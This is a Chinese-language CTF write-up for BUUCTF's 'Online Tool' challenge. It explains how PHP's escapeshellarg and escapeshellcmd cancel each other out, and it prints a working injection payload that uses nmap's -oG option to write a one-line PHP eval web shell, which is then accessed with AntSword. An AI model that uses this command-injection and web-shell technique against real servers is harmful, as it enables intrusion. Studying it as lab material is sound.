[BUUCTF 2018]Online Tool

image-20240510190058849

这里可以看到会创建一个文件以你输入进去的文件命名

三个点,一个是最后一行是什么意思

第二个是escapeshellarg和escapeshellcmd是什么意思

第三个,payload长啥样

1、

nmap -T5 -sT -Pn --host-timeout 2 -F host

-T<0-5> : 速度/时间模板参数,指定了扫描的速度。

-sT : 使用TCP进行扫描。

-Pn : 将所有主机视为在在线,跳过主机发现。

--host-timeout : 设置超时时间。设置为2秒,即如果目标主机在2秒内没有响应,Nmap将放弃该主机的扫描。

-F : 进行快速扫描,用于快速识别目标主机上开放的常见端口,而不扫描所有的端口。

2、

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

也就是说前后互相抵消了

3、

这里采用的是,将一句话木马写入文件中在通过蚁剑读取文件

?host=' <?php eval($_POST["hack"]);?> -oG hack.php

将前面的一句话木马写入hack.php中

会发现

image-20240510192216503

你处于这个文件夹之下,所以在这个文件夹下开启hackbar.php

之后通过蚁剑连接网站

http://76fc35ad-270b-4945-96ce-a4c8c3809cd0.node5.buuoj.cn:81/71622f2db96673162a8eedefbeeae0ee/hack.php

从而找到flag

总结

这道题的最重要的一点在于escape两个函数的应用

之后要去好好看看各自的作用

arg:

简单地说,如果输入内容不包含单引号,则直接对输入的字符串添加一对单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,再对剩余部分字符串添加相应对数的单引号括起来。

看个例子就知道了:

<?php
var_dump(escapeshellarg($_GET[p]));
?>

先输入字符串mi1k7ea,看到escapeshellarg()会给该字符串整个加上单引号括起来,加起来总共9个字符:

'mi1k7ea'

输入mi1k’7ea,看到先转义了中间这个单引号,再分别在左右两边加上单引号括起来,加起来总共13个字符:

'mi1k'\''7ea'

cmd:

简单地说,第一,如果输入内容中上述出现的特殊字符会被反斜杠给转义掉;第二,如果单引号和双引号不是成对出现时,会被转义掉。

输入mi1k7ea,其中不包含以上特殊字符的字符串,是不会添加单引号括起来的,内容不变:

mi1k7ea

输入’mi1k’7ea’;字符串,由于前面两个单引号成对了因此没有对其进行转义,而最后的单引号没有成对因此被转义掉,除此之外分号作为特殊字符也被转义处理:

'mi1k'7ea\'